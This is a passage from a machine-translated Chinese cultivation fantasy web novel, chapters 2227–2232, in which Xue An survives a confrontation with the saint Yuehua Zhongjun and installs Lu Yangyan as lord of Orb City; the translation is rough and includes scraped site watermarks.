    "Yes, yes, that''s what they call this person! Although I haven''t seen his true appearance, I can feel it only by his power and power. UU reading is absolutely extraordinary!"


    "So you just didn''t want to say it?" Xue An suddenly sighed slightly.


    "Yes!" The man nodded, then said with a somewhat ugly expression.


    "After all, in his realm, he has countless secrets, maybe we will be known to him if we talk about it at random!"


    "Then why do you want to say it again now?" Xue An smiled lightly.


    "Because I want to go out!" the man said solemnly.


    Xue An nodded, "Very well, since you have said it, then I will let you out!"


    The man was ecstatic, "Thank you!"


    But as soon as his voice fell, a cold hum reached the ears of everyone present.


    "Do you really think you can still go out?"


    As soon as this remark came out, everyone, including the gluttonous food, changed their expressions.

 Chapter 2227： Moon Hua Zhongjun

    Even Xue An''s complexion became serious in an instant, and then looked up.


    They were in the dungeon, and if they looked up, it would be the ceiling, but at this moment.


    A spectacle appeared in front of everyone.


    But the ceiling becomes transparent at a speed visible to the naked eye.


    In the blink of an eye, the entire ceiling was gone, and the outside situation could be seen at a glance.


    Everyone is stupid.


    Only Xue An looked at him sinkingly, and at the same time the whole body was boiling, he was obviously ready.


    Yue Qinghuan, who was originally guarding outside, appeared next to Xue An even more at this time, and said with a green expression: "What should I do?"


    "What do you mean?"


    "It must be impossible to beat this time!"


    Xue An chuckled, "If you can''t beat it, you have to try it to know!"


    Yue Qinghuan didn''t say a word, but looked solemnly at the sky above, and his whole body began to tremble involuntarily.


    This is not fear, but the reaction of one''s own cultivation level when facing a super strong.


    As for the prisoners, they all curled up in the corner and began to tremble.


    Only Xue An stood up like a sword, without the slightest flinching.


    At this moment, a ray of light suddenly appeared above the sky.


    When the light flashes, it quickly intensifies.


    Then, in the horrified eyes of everyone, a huge, full moon-like celestial body appeared in the middle of the sky.


    The silver radiance spilled over the earth, like snow like yarn, fascinating.


    But just under this beautiful scene, there is an infinite killing intent.


    Glutton, who was standing behind Xue An, shuddered even more at this time, and at the same time four words came out from between his teeth.


    "Yuehua Zhongjun!"


    Even if it turned to ashes, he would never forget the person who attacked him while he was asleep.


    And after hearing his words, a light laugh suddenly came from above the sky.


    "Got, I didn''t expect you to remember me, eh... how do you recognize people as the master?"


    Taotie didn''t say a word, but stared at the full moon with a green complexion.


    At the same time, but before this full moon, a figure began to be discovered gradually.


    Soon, a man in a white robe appeared in front of everyone.


    This man had an ancient face like an emperor, and his long hair was floating in the air behind him. With the generous robes, he looked like an immortal.


    And when he appeared, the whole world seemed to be quiet, ready to listen to his words.


    These visions made Yue Qinghuan even more desperate, and then said in a groan-like tone: "Sage..."


    That''s right!


    The Moon Hua Zhongjun who appeared in front of everyone at this moment was a real saint.


    He saw his eyes flashing, his eyes swept across everyone, and finally stayed on Xue An, and then he said with a smile.


    "It''s the Zuisheng Building that you destroyed and unlocked my seal at the same time?"


    Although it was only an extremely simple question, Xue An still felt a strong pressure at the moment he spoke.


    Not to mention anything else, this pressure alone is enough to make ordinary strong men kneel on the spot.


    But Xue An only trembled slightly, and then sneered.


    "So what?"


    There was a look of surprise in Yuehua Zhongjun''s eyes, because he didn''t expect this young man to withstand his pressure.


    Know that after becoming a saint, every word and deed will be the law of the world.


    And a half-step Xianzun, in his opinion, is even more like an ant.


    That''s why he just questioned Xue An so lightly, but he didn''t expect Xue An to survive.


    But the more this is the case, the more interested in Xue An, the more interested the Moon Huazhongjun.


    "Interesting, no wonder I was able to destroy my Drunken Life Building with such a slight cultivation base and break my seal, but..."


    Jun Yuehua suddenly sneered, "You must give me an explanation!"


    When it came to the last word, Xue An snorted, and then took three steps back, with blood oozing from the corners of his mouth.


    "the host!"


    Seeing this scene, Taotie immediately stepped forward and looked at Yuehua Zhongjun angrily, desperately desperate.


    But Xue An stopped him at this time and said coldly: "Don''t move, you are not his opponent now!"


    "Then what to do?" Taotie also knew very well that he couldn''t beat Yuehua Zhongjun now.


    Not to mention that he had just awakened, but with the strength of the Lord Yuehua now, he could not be his opponent.


    Because at this time, the Moon Hua Zhongjun had made great progress compared with the time when he secretly sealed himself.


    Xue An didn''t speak, but slowly wiped off the blood from the corners of his mouth, and stared at Yuehua Zhongjun coldly.


    "Do you want to explain? Okay, then I will give you an explanation!"


    "The people of your Yin and Yang family acted recklessly, and even attacked the Shadow Turtle Clan and brought their people here. I came to look for them, and then found that you were still imprisoning the descendants of the True Martial Dao Clan and used his sister to blackmail him. You can do these things. all know?"


    Yue Huazhong smiled, "Of course I know, in fact, I prefer them to do these things, why? Any comments?"


    As soon as the voice fell, Lu Yangyan could no longer contain his emotions, and roared, "Where is my sister now?"


    "Do you mean that girl? Don''t worry, she is still alive now, and is alive and well!"


    Having said that, Yuehua Zhongjun waved his hand.


    Yuehua condensed into an illusion, and inside it were the shadow turtle clan and Lu Yangyan''s younger sister.


    Only at this moment, these people are all asleep.


    "What did you do to my sister?" Lu Yangyan roared with canthus eyes, and at the same time the real Wu virtual image gradually appeared behind him.


    "It''s nothing, just let them sleep peacefully!"


    "Return my sister to me!" At this time, the Zhenwu behind Lu Yangyan had appeared, and he flew up and attacked the Moon Huazhong.


    Moon Huazhong sighed slightly What do you mean by this? "


    As he said, he just waved his hand slightly, and the virtual image behind Lu Yangyan was instantly shattered, and at the same time, his entire body fell like a cannonball, slammed into the ground deeply, and there was no sound anymore.


    Immediately afterwards, Yuehua Zhongjun turned his head and looked at Xue An with a smile.


    "It''s your next time, how are you going to die?"


    Xue An''s face was sinking, just about to speak.


    At this moment, Yue Qinghuan suddenly took a step forward, blocking Xue An behind him, and then trembled.


    "Mr. Yuehua, this person is from my military strategist, so I hope you think about the consequences before you do anything!"


    Moon Huazhong raised his eyebrows slightly, "Soldiers? Haha, would a little girl dare to negotiate terms with me? If your Patriarch came here, I might still sell your soldiers'' face, but now..."


    "He must die!"


    After speaking, he pressed down with a palm, and the extremely violent power went straight to Xue An.

 Chapter 2228： Sages Might

    Chapter 2228 The Might of the Saint (first more)


    Under the mighty power, Yue Qinghuan was pushed aside directly, and could not even move. He could only watch this powerful blow go straight to Xue An, his eyes could not help but show despair.


    Because she knew better than anyone just how terrifying the existence of a saint class was.


    It can even be said without exaggeration that as long as he wants to, he can destroy the entire Exquisite City in a flash of thought.


    Although Song Yuke, who had fallen before, was a half-step saint, he also had the word saint, but compared with the real saint, it was still a world away.


    Some people even describe it this way, the difference between a half-step saint and a saint is like the difference between a half-step saint and a mortal.


    Therefore, even in this vast sky, those who can become saints are still rare.


    In contrast, Xue An, who is only half-step Xianzun, is simply not worth mentioning.


    That''s why Yue Qinghuan was so desperate at this moment, and even closed his eyes and couldn''t bear to look again.


    But compared to the panic of others, Xue An was much calmer, and he saw raging flames burning all over his body.


    The fire was red, covering his entire body.


    At the same time, divine thoughts rushed out, completely covering the surrounding space in an instant, preparing to deal with the blow of the middle monarch Yuehua.


    Seeing this scene, Guanghua flashed in the eyes of Lord Yuehua, "Divine Sense is good! But you want to stop me with this? You are too naive!"


    When speaking, only a loud bang was heard, and then Yuehua Zhongjun''s blow smashed into Xue An sturdily.


    But Jian Yuehua Zhongjun��s palm power was extremely violent, and it directly destroyed Xue An��s defensive spirit and flew far away from the original earthquake until it hit the dungeon wall heavily. Can relieve the pressure.


    It couldn''t help but, but seeing the flames burning Xue An''s body was extinguished, revealing the body covered by it.


    At this moment, Xue An looked a little embarrassed, because the clothes on his body had become much ragged because of this blow.


    At the same time, blood was slowly oozing out of the corners of his mouth, and his face was pale as paper. It was obvious that he had suffered serious injuries from the blow.


    Nevertheless, this month Huazhong Jun still gave a slight hey.


    Because he thought that this young man in white would be directly turned into powder under his own attack.


    But he didn''t expect him to survive.


    But immediately he sneered, "You can be quite proud of being able to withstand my blow, but it''s all over here, die for me!"


    With that, the middle monarch Yuehua flicked his finger lightly, and a brilliance gushed out of the huge moon-like celestial body behind him, and went straight to Xue An like a sharp sword.


    Wherever he went, the space was cut into a deep chasm, and there was a loud rumbling noise.


    Compared to the previous grandeur, this blow seemed much more low-key.


    But only the real strong will understand the terrible blow.


    Because this blow had obviously abandoned the external glitz, and contained all power and influence in this brilliance.


    It can also be seen that the Lord Yuehua has a mortal heart towards Xue An.


    Otherwise, it won''t be such a big fight.


    When faced with this blow, Xue An finally showed a deep and solemn color, and gave a sharp sigh.


    "Gluttonous!"


    The gluttonous glutton who had been prepared on the side immediately rushed out after hearing the words, and the original form of the body appeared in the midair, and then roared, his claws flicked out, and directly hit the brilliance.


    Boom!


    There was a loud noise that was dull as if beating a drum, and a huge shock wave appeared where the gluttonous and Guanghua collided.


    Then gluttonous groaned, and was also shaken out.


    But after such a block, this brilliance looked much bleak.


    It was at this moment, but seeing Xue An slowly raising his eyes, his eyes burned with almost violent sword intent.


    "kill!"


    Following the voice, Xue An flipped his wrist, and a small, red, **** sword appeared in his hand.


    When this small sword came out, it happened to resonate with the sword intent in Xue An''s body.


    The brilliance above the small sword flickered like a heartbeat, and then an extremely dazzling sword light burst out.


    That feeling was as if a sun exploded in Xue An''s hands.


    Then Xue An held his sword in his hand, shining the brilliance that flew towards him was a sword.


    boom!


    After a loud explosion, the walls of the dungeon shattered directly into powder, and a long corridor was formed behind Xue An.


    Xue An took seven or eight steps back and finally stood still.


    And the brilliance that attacked oneself also disappeared.


    This time, there was a commotion in the audience.


    The prisoners who were put in jail were all stunned.


    Because they have never seen such a magnificent picture.


    A mere half-step Xianzun actually dared to swing a sword at the existence of the saint level, and finally won.


    This is as incredible as a myth.


    As for Xue An, at this moment, he was panting and clenching the small sword, looking awe-inspiring at the aloof Yuehua Zhongjun.


    This can be regarded as the strongest sword Xue An has used since the half-step Xianzun.


    Even at the mercy of borrowing the sword heart crystallization that Jiansan gave him as a souvenir before his death.


    But despite this, Yue Qinghuan''s eyes were still full of despair.


    Because she knew that the previous attacks were nothing more than temptations to the Lord Yuehua, and she didn''t use her full strength at all.


    But never expected, UU reading www.ukanshu. Com was at this moment, the Zhongjun who had been standing in Yuehua suddenly let out a whisper, and then came to Xue An with a flash.


    The whole process is as natural as water and milk.


    Before Xue An could react, his gaze stayed on the small sword in Xue An''s hand, and then his eyebrows were slightly raised.


    "Where did you get this little sword?"


    Quite anxious in words.


    Xue An moved in his heart, and then said coldly: "This is a gift from a friend of mine!"


    "Where is she now?"


    "already dead!"


    "Dead?" Yuehua Zhongjun''s body shook slightly.


    "Yes!"


    Jun Yuehua froze in place, and whispered softly in his mouth: "I should have thought of it. Even Jianxin has become a small sword. How could it be possible to be alive?"


    Speaking of this, he suddenly laughed at himself, and then looked at Xue An with a strange look.


    "Do you know the origin of your friend?"


    Xue An shook his head.


    "No wonder, otherwise I guess you wouldn''t show this little sword if you knew it!"


    Speaking of this, the expression on Zhongjun Yuehua''s face suddenly became very serious.


    "Boy, if you still want to live longer, it''s best not to show this small sword, otherwise it will cause disaster, understand?"


    Xue An did not respond to these words, but looked at Yuehua Zhongjun quietly, and then said: "What do you mean by this to me?"


    Yuehua Zhongjun shrugged, "It''s not interesting, I just want to remind you!"


    As he said, he raised his hand and waved, the Shadow Turtle Clan and Lu Yangyan''s sister all fell out of the Yuehua Secret Realm just now.


    Still looking for "Invincible, Starting from Dad Xianzun" free novels?


    Baidu direct search: ""It''s easy to read novels!

 Chapter 2229： Yuehua retreats and surprises 1

    Looking at these people lying on the ground screaming and sleeping, Yue Qinghuan and everyone were a little stupid.


    Xue An was even slightly taken aback, "What do you mean?"


    "It''s nothing, it''s just that I met the elders of the friend who gave you the sword, so in terms of her face, I won''t hold you accountable anymore. I will pay you back even these people, but I still have something to do. remind you!"


    "I did not do anything against the Shadow Turtle Clan in Orb City. There is something hidden behind it, but I advise you to not investigate it, because the result is beyond your ability!"


    Xue An took a deep look at this Yuehua Zhongjun, then narrowed his gaze, and said lightly: "Do you think this is possible?"


    Yuehua Zhongjun chuckled, and then shrugged, "I also think it''s impossible, so I just remind you of it out of good intentions. It''s your business if you don''t listen!"


    Having said that, the Lord Yuehua took another look at the small sword in Xue An''s hand, a painful color appeared in his eyes, and he flew up and returned to the sky.


    "This place has been blocked by me before, and everything will return to normal after I leave, but I hope you better not disclose these things, otherwise the consequences will be unpredictable!"


    With these last words, the huge celestial body above the sky quickly disappeared and disappeared in the blink of an eye.


    And with the disappearance of this celestial body, there was a soft sound in the surrounding environment, as if an invisible barrier was broken, and everything returned to normal.


    From appearing to leaving this month, Huazhong Jun, the total time is one meal.


    But no one thought that things would have such a huge change, so they all froze in place.


    It wasn''t until a long time later that Yue Qinghuan woke up, "Just... just left?"


    Xue An withdrew his gaze from the sky, and nodded: "Yes! It''s gone!"


    "What has actually happened����."


    Yue Qinghuan whispered softly, suddenly remembering something, and immediately looked at the small sword in Xue An''s hand, wanting to see some clues from it.


    But after staring for a long time, she also found nothing, and had no choice but to give up.


    At this moment, the girl who was lying on the ground awake suddenly let out a cry, then faintly woke up and turned around.


    This is a very delicate and lovely girl, with childlike innocence in her eyes.


    When she saw Xue An, Yue Qinghuan and others standing in front of her, she couldn''t help being taken aback.


    "What''s the matter? Who are you?"


    Xue An did not respond to her words, but went straight to the big pit that Lu Yangyan had smashed into. His eyebrows raised slightly, and the huge divine thoughts instantly stretched out from between the eyebrows, turned into thousands of silk threads, and flew into this. In the big pit.


    At this time, the shadow turtle clan also began to wake up one by one.


    But unlike the innocent girls, these Shadow Turtle Races are obviously much more cautious.


    Especially after seeing the messy situation in the field, he curled up into the corner with all his face on guard.


    At this moment, with the ascension of the spiritual thread, Lu Yangyan, who was covered in blood and unconscious, was dragged out of the pit by Xue An.


    When she saw Lu Yangyan, the girl couldn''t help exclaiming, "Brother!"


    Then he immediately jumped on.


    But at this moment, Lu Yangyan was lying like a corpse.


    Seeing this scene, the girl immediately cried out, "Brother, what''s wrong with you, brother, wake up, don''t scare me!"


    But no matter how she shook, Lu Yangyan didn''t react at all.


    The girl burst into tears and almost fainted while crying on Lu Yangyan''s body.


    Yue Qinghuan looked intolerable and stepped forward and stroked the girl''s shoulder.


    "Okay, don''t cry, people can''t come back from death, your brother..."


    But before she finished speaking, the girl cried even louder.


    "Brother, are you really dead? I don''t want you to die!"


    Yue Qinghuan stood there a little embarrassed.


    At this moment, Xue An chuckled softly, "Well, if you want your brother to really die like this, then try your best to shake it!"


    As soon as she said this, the girl''s cry stopped abruptly, and then she looked at Xue An with tears on her face.


    "You said... what did you say?"


    "I said, your brother is not dead at all! He is only temporarily dormant!"


    While talking, Xue An approached Lu Yangyan, then squatted down, gently touching Lu Yangyan''s forehead with his palm.


    The girl became more and more nervous when she saw this.


    Because even a female streamer, she knows the importance of forehead and brow to a spiritual practitioner.


    It can be said that all the vitality of his brother now lies in the thoughts of this white-clothed boy.


    If he has any hostility towards his brother, then that brother will fall into the unhealed ground.


    So her heart couldn''t help mentioning her throat and looking tremblingly.


    fortunately.


    It seems that her prayers have worked.


    Lu Yangyan''s body trembled suddenly, and then he slowly exhaled.


    The breath was so long, as if a hibernating turtle and snake were breathing.


    It is the method of tortoise breath that Zhenwu Taoists are best at.


    After hearing the sound of exhalation, Xue An released his hand.


    At the same time, Lu Yangyan suddenly opened his eyes.


    "Return my sister...huh?"


    Because it was Xue An with a smile that came into view first. UU reading www. uukanshu.com


    This can''t help but stun him.


    But when he saw his sister beside him, even though he was seriously injured, he jumped up and rushed directly to the girl, then grabbed her by the shoulder and looked up and down.


    "Brother!" the girl cried and cried.


    After confirming that his sister had not suffered any harm, Lu Yangyan let out a sigh of relief, and then said, "Am I dreaming? Or am I dead?"


    As soon as she said this, the girl could no longer control herself, crying and threw herself into Lu Yangyan''s arms.


    "Brother, you are not dreaming, it is indeed me!"


    Lu Yangyan''s body became stiff, and then his eyes became moist. He stretched out his hand and gently patted his sister on the back.


    "Okay, okay, stop crying!"


    The tone is pampering, just like talking to a child.


    Hearing his comfort, the girl gradually stopped crying, then raised her head to look at Lu Yangyan with blood on her face, and said distressedly: "Brother, why did you do this? Does it hurt?"


    "It''s okay, it''s all well, it doesn''t hurt at all!" Lu Yangyan grinned, but his bleak eyes have proved how bad his situation is now.


    The anger loomed in the girl''s eyes, "Who did it?"


    The voice became colder.


    After feeling his sister''s anger, Lu Yangyan''s expression immediately became extremely solemn, and he said solemnly, "Don''t do your business, don''t get angry, let alone get excited!"


    Hearing his yelling, the girl remembered something, and then lowered her eyes, gradually calming down the boiling blood.


    After seeing this scene, Xue An''s eyes lit up slightly.


    Because he clearly perceives that just when the girl was angry, a very strong breath emerged from her body.


    Although it was just a shocking experience, it was still thrilling!

 Chapter 2230： Bloodline goes backwards

    Xue An raised his eyebrows slightly, "This is..."


    As if feeling Xue An��s doubts, Lu Yangyan smiled bitterly, ��You can see it? Yes, my sister is born with blood insufficiency. Once she gets too excited, she will completely lose her mind and enter a state of rampage.��


    Speaking of this, Lu Yangyan seemed to recall something, a look of horror appeared in his eyes.


    "In that state, although she can explode extremely powerful combat power, but the damage to herself is also great, even some doctors have asserted that she will explode at most two or three times before she will exhaust her soul and die."


    Everyone was silent.


    Yue Qinghuan asked: "Then there is no way to cure her?"


    Lu Yangyan smiled bitterly, "Are you weird before that, as a descendant of the real martial arts, why did I fall into this casino to fight black punches for others?"


    Xue An nodded.


    "Actually, my sister and I are both descendants of the Lu family of the real martial arts school, but unlike me, my sister has been regarded by the elders of the faction from the moment she was born because of her violent and uncontrolled bloodline power. Ominous thing, and asserted that she will not live to be six years old."


    "For this reason, the elders in the faction tried to kill her several times, but how am I willing! After all, this is my only sister. For this reason, I took my sister and left the Zhenwu Dao faction, trying to find a way to control me from the outside world. The way to run away blood from my sister!"


    Lu Yangyan talked eloquently, and everyone listened quietly. The girl lowered her head and her shoulders trembled slightly, apparently recalling what happened back then.


    "At that time, I was thinking very simple, but found that it is not that easy at all. As I grow older, my younger sister��s blood becomes more and more uncontrolled, and may run away anytime and anywhere. At that time, I was even completely desperate. one day����."


    "In an extremely accidental situation, I got an orb!"


    "Orb?"


    "Yes, it''s the orb that only comes out of Orb City! At that time, I didn''t care about it after getting the orb, but gave it to my sister, but then I was very surprised to find that after getting the orb, what happened to my sister The violent bloodline is obviously more docile."


    "I even successfully suppressed a runaway. At that time, I was ecstatic and thought that my sister''s problem was finally solved, but later I discovered that this orb was only temporarily suppressed. When the energy in it was exhausted, my sister would return to its original state. !"


    "But at least it gave me hope. For this reason, I started looking for orbs at all costs to suppress my sister''s blood."


    "But the orb is extremely expensive, and it''s not something I can afford..."


    "So you take the initiative to devote yourself to this drunk student building, want to gain wealth by hitting black fists, and buy orbs to heal your sister?" Xue An sighed lightly.


    Lu Yangyan nodded, "Yes!"


    "At the beginning everything went well, but later I found that things changed. First of all, these people planted a seal on me through various reasons. Then I couldn''t even see my sister, only after winning. , Meet the previous side through the water mirror method, and once I raise an objection, Gu Yushan will use his sister to blackmail me!"


    "Until then I realized that I was caught in the trap of this group of people. They wanted to control me through my sister! But then it was too late even if I knew it, because my strongest true martial power had been sealed by her. , Can only be displayed on the ring to a limited extent, until I meet you..."


    Speaking of this, Lu Yangyan raised his head and looked at Xue An and Yue Qinghuan gratefully.


    "Thank you!"


    This thank you is full of infinite sincerity.


    Xue An smiled slightly, "You don''t have to be so polite, I have a relationship with your Zhenwu Taoist family, and it should be a helping hand, but what do you plan to do next?"


    "What else can I do? Naturally, I took my sister to wander around! Anyway, I won''t abandon her!" Lu Yangyan said firmly.


    Upon hearing these words, Lu Yangyan''s younger sister trembled her shoulders, and then the ground was wet, apparently already crying.


    Xue An suddenly said: "Then you are wandering around, how can you control the blood of your sister?"


    "I still have some savings in my hands. As for the future, I can only take one step at a time!"


    "Otherwise, I happen to be going back to Orb City, so you can take your sister and go back with me!"


    "Back to Baozhu City?" Lu Yangyan was startled.


    "Yes! I have a good relationship with the king of the Shadow Turtle Clan. After you go back, live in the Orb City and help them guard, I can let the Shadow Turtle Clan provide enough orbs for your sister!"


    Hearing this, Lu Yangyan was overjoyed, "Is this true?"


    "Can this lie to you?" Xue An smiled lightly.


    The expression on Lu Yangyan''s face instantly became very serious, and then stood up, forming a very complicated and solemn handprint on both hands, bowing and politely said.


    "True martial artist Lu Yangyan, thank you for helping me several times. Since then, if you have a call, Lu Yangyan will be a fan in return!"


    Seeing Lu Yangyan, who was polite by Jieyin, a smile flashed in Xue An''s eyes, and then nodded.


    "Okay, don''t be so polite. I said that I have some connections with you Daoists, so I should help you! Also, my name is Xue An. From now on, you can call me Mr. Xue, don''t call me an adult!"


    "Yes! Mr. Xue!" Lu Yangyan said respectfully.


    Yue Qinghuan on the side looked at this scene, and there was a lot of splendor in his eyes.


    Because only she understands what''s going on!


    After this incident, the Orb City was originally Xue An''s, but it was definitely impossible for Xue An to stay there.


    Before Yue Qinghuan had some headaches, how to deal with this treasure city.


    Unexpectedly, Xue An would solve the matter so lightly.


    Because Lu Yangyan could not be more suitable to guard in that treasure city.


    Because he is not only strong, but also loyal.


    More importantly, what he was practicing was the real martial art, which happened to have some origins with the Shadow Turtle Race.


    I believe that Shadow Turtle King will also be very satisfied with this.


    As for the mere orb...


    Compared with the income gained, it is nothing to mention.


    The more Yue Qinghuan thought about it, the more he felt that this was a wonderful move.


    This can''t help but make Xue An''s evaluation in her mind higher and higher.


    She couldn''t help but leaned forward and asked in a low voice, "Have you been planning these things since you rescued Lu Yangyan?"


    Xue An turned his head and glanced at her, then smiled faintly, "So what?"


    Yue Qinghuan closed her mouth and said nothing But a thought suddenly flashed through her mind.


    This guy and his brother will definitely become good friends.


    Because the two of them are surprisingly similar in many places.


    For example, in this matter, from the very beginning, when others didn''t know what was going on, they had already planned everything and prepared for what might happen.


    Isn''t this the strategy that the military strategists admire most?


    Yue Qinghuan stood there thinking wildly, and couldn''t help being a little mad.


    At this time, Xue An walked in front of these shadow turtle clan.


    His arrival made these members full of vigilance.


    Xue An smiled slightly without explaining anything.


    Because he knew that no matter what he said was useless at this time.


    After all, the races are different, it is impossible for these Shadow Turtle races to believe in themselves.

 Chapter 2231： Return to Orb City

    But he was prepared for this, and with a direct wave of his hand, a familiar voice appeared in the sea of ??consciousness of these shadow turtle clan.


    Suddenly, these shadow turtle clan shook together, Xuan even fell to the ground with surprise and respect, listening to the voice in his mind.


    Xue An stood and watched quietly.


    After a while, these shadow turtle clan raised their heads to look towards Xue An.


    Xue An shrugged slightly, "How is it? Are there any doubts now?"


    What just emerged in the sea of ??knowledge of these shadow turtle clan is the breath of the shadow turtle emperor.


    At that time, Xue An deliberately asked for a breath of divine spirit from the Shadow Turtle Emperor in order to prevent such things from happening.


    Unexpectedly, it really came in handy now.


    These Shadow Tortoises kowtow to Xue An respectfully upon hearing the words.


    "My lord, I will no longer be puzzled anymore. Before, I was so foolish and ignorant. Please forgive me!"


    Because in that divine mind, the Shadow Turtle Emperor made it clear that this young man in white was here to save them, so he should treat him as respectful!


    Naturally, these shadow turtles did not dare to neglect.


    Xue An smiled upon hearing the words, "Okay, get up, can you still hurry?"


    "My lord, even though I was imprisoned, I didn''t suffer any injuries, so I don''t have to worry about driving on the road!"


    "Okay, then we will return to Orb City now!"


    With an order, everyone immediately began to get busy.


    These shadow turtle tribes also made preparations one after another. Some people took the initiative to carry Lu Yangyan and his sister, and they were just about to leave.


    At this moment, an urgent shout came from the cell behind him.


    "My lord, please stay, I have something to say!"


    Everyone was taken aback, Xue An turned his head and looked around.


    But seeing the man who had been bargaining with him before was picking up on the fence of the cell, looking at him hopefully.


    In fact, after the battle just now, this cell has been damaged by a big hole, and almost all the prisoners who were detained here have sneaked away.


    Now only this man was left looking at Xue An eagerly.


    "What do you want to say?"


    "My lord, I want to follow you to Orb City, but I don''t know if it''s okay?"


    Hearing these words, Xue An couldn''t help taking a deep look at the man, "Are you going to return to Orb City with me?"


    "Yes!"


    "why?"


    A look of embarrassment appeared on the man''s face, then he lowered his head and said in a low voice: "I have no place to stand. Even the spirit mine uploaded by the ancestors has been lost by me. I have no way to go. So I want to follow you back to Orb City!"


    Speaking of this, he raised his head and looked at Xue An pleadingly, "Don''t worry, my lord, I will never trouble you. I just want to leave this exquisite city, okay?"


    Xue An didn''t say a word, but looked at the man quietly.


    Until a long time later, even the man''s face showed a look of despair, when he thought he was rejected.


    Xue An just nodded, "Okay!"


    The man was overjoyed, "Thank you, sir!"


    Then he crawled out of the hole in the cell and followed Xue An very familiarly.


    During the whole process, he was very wise not to mention the seal on his body.


    Xue An also didn''t say a word.


    It was as if they had ignored this matter.


    After everyone was ready this time, Xue An said solemnly: "Go!"


    When the words fell, these shadow turtle clan took the lead and flew into the sky with Lu Yangyan and his younger sister who had been seriously injured.


    Then Xue An waved his hand, and a sword light sank into the man''s body.


    The man was shocked, and he was also engulfed by sword light and flew up.


    When all this was done, Xue An stomped his foot abruptly.


    boom!


    After a loud noise, this dream house began to shake violently.


    Then Xue An and Yue Qinghuan rose into the sky and disappeared into the boundless sky.


    As soon as they left with their front feet, the entire Dreamhouse collapsed and turned into rubble.


    Such movement naturally shocked many people in Linglong City.


    But when they arrived here, as far as they could see, all they could see was a ruin.


    "Hey! I didn''t even let go of the Dream of Death, who is this kid?" someone exclaimed.


    "This time Zui Sheng Meng Di has completely disappeared in Linglong City, but will the Yin Yang family give up?" Some people wondered.


    You must know that Linglong City was headed by Zuisheng Tower before this, but now it has been uprooted by Xue An, leaving a blank power that naturally makes countless people covet it.


    The entire Linglong City began to surging.


    Xue An didn''t know this, even if he knew it, he wouldn''t care.


    Compared to the time it took, when I went back, it was much faster.


    These shadow turtle races are very good at flying, especially in the void between this planet and the planet, they are like a fish in water, and they are extremely fast.


    Therefore, after only one day, Xue An all returned to the scope of Orb City.


    At this moment, the Pearl City, on the surface, did not look any strange, it was still so prosperous.


    It was as if the previous city claimed that the fall of Pengtian had never happened.


    But only a few people know that the entire Pearl City is actually loose on the outside and tight on the inside.


    In many important places, there are often big men with burly figures and dull expressions guarding them.


    The breath of these men is very different from that of the human race, and it is made by the masters of the Shadow Turtle Race.


    When Xue An and others came back this time, naturally they would not be fancied.


    Actually, they haven''t waited for them to reach Orb City.


    The Shadow Turtle Emperor already knew the news, and immediately abandoned the miscellaneous people, and emptied the huge City Lord''s Mansion.


    When Xue An and many shadow turtle clan landed, the shadow turtle emperor rushed up immediately.


    When these shadow turtles saw that they were their own kings, they knelt to the ground quickly.


    "Emperor! We are back!"


    The Shadow Turtle King was very excited. After carefully examining these people, he found that they were not in any serious trouble. A heart was put in his stomach, and then he nodded and said: "Just come back! You are also suffering, so go and cultivate first. !"


    After these shadow turtle clan retreated, the shadow turtle emperor couldn''t wait to ask: "Can you find any clues?"


    Xue An nodded, "Fortunately not insulting my life!"


    With that, Xue An told the story again.


    When I heard that the instigator behind the scenes was actually a master from the Yin-Yang family The Shadow Turtle King was shocked, and his complexion gradually became serious.


    "Why did the Yin and Yang Family deal with my Shadow Turtle Clan?"


    Xue An shook his head, "I don''t know now, but after hearing what Yuehua Zhongjun said, it seems that there is a secret behind him."


    The Shadow Turtle King''s complexion was pale, because he finally sensed the seriousness of this incident.


    He didn''t care if it was just a Zuishenglou.


    But if an ancient predator like the Yin Yang family is added, even if he is always arrogant, he knows that he might not even have the power to fight back.


    Not to mention that there may be a deeper existence behind the Yin Yang Family.


    How could this not make him frightened.


    As if perceiving the horror in his heart, Xue Anrou said: "But you don''t have to worry too much. After this time, things have been revealed. Those behind the scenes will definitely not do anything to you Shadow Turtle Race!"

 Chapter 2232： Great Opportunity Xianzong Dongfu

    Hearing what Xue An said, the Shadow Turtle Emperor was relieved, and then slammed Xue An with a serious face.


    "Mr. Xue, your kindness should be engraved in my heart by the Shadow Turtle Clan, and I will never forget it! If there is something I need to wait for in the future, I will wait for a word and do my best!"


    These words are based on the sincere feelings of the Shadow Turtle King, so they are very sincere.


    Xue An smiled upon hearing this, "Since I say so, then I really need you now!"


    "Mr. Xue, it''s okay to say it!" The Shadow Turtle King said immediately.


    Xue An raised his hand and pointed to Lu Yangyan next to him, "Do you remember that before I left, I said that I had my own arrangements for the Orb City, and he is the new Orb City Lord I found for you!"


    Lu Yangyan was stunned at that time.


    He thought he had come to this gem city just to guard it and heal his sister''s injuries.


    Never expected that Xue An would let himself be the lord of the city.


    After hearing what Xue An said, the Shadow Turtle King took a deep look at Lu Yangyan.


    When he discovered that the aura of Lu Yangyan had something to do with him, he couldn''t help being stunned.


    Xue An on the side smiled faintly when he saw this, "How is it? Are you satisfied with this candidate?"


    The Shadow Turtle King took a deep breath and slowly said, "How come I feel so familiar with the breath of him......"


    "Of course he is familiar, because he has the blood of Zhenwu, he is the heir of Zhenwu Taoist school, and Zhenwu...presumably you should know it too!"


    Hearing the word Zhenwu, the Shadow Turtle Sovereign shook his whole body, and immediately there was joy on his face, "Of course I know! Thanks for your arrangement!"


    Being a tortoise clan, how could he not know that ancestor.


    So he rushed to Lu Yangyan excitedly, "Is Master Zhenwu okay now?"


    Lu Yangyan smiled bitterly: "Master Zhenwu disappeared thousands of years ago. Where did I meet his old man!"


    The Shadow Turtle King couldn''t help sighing when he heard this, but Xuan even stretched out his hand and patted Lu Yangyan on the shoulder again.


    "It''s okay, you and I are from the same source. Now that you are the lord of the Orb City, we are even more of a family!"


    "Everything is cultivated by Master Turtle King!"


    "Hahaha it''s easy to say!" The Shadow Turtle Emperor laughed with his palms, obviously very satisfied with Lu Yangyan.


    Seeing the one person and one demon who soon became warm, Xue An smiled faintly.


    Yue Qinghuan on the side looked at the expected smile on Xue An''s face, how he looked like his brother.


    And this feeling made her suddenly feel homesick after being away from home for a long time.


    Once this feeling of longing appeared, it hit like a surging tide.


    Don''t look at the usual time she is tired of her brother''s control over her, and even thinks that he is nagging terrible several times.


    But now she missed that feeling a little, miss the man who always smiled at herself in the chair.


    In a short time, this emotion easily broke her psychological defense line, making her impatient to say to Xue An: "Xue An."


    "Ok?"


    "Now that the matter here is also handled, go back with me as soon as possible!"


    "Go back? Where are you going back?" Xue An said lightly.


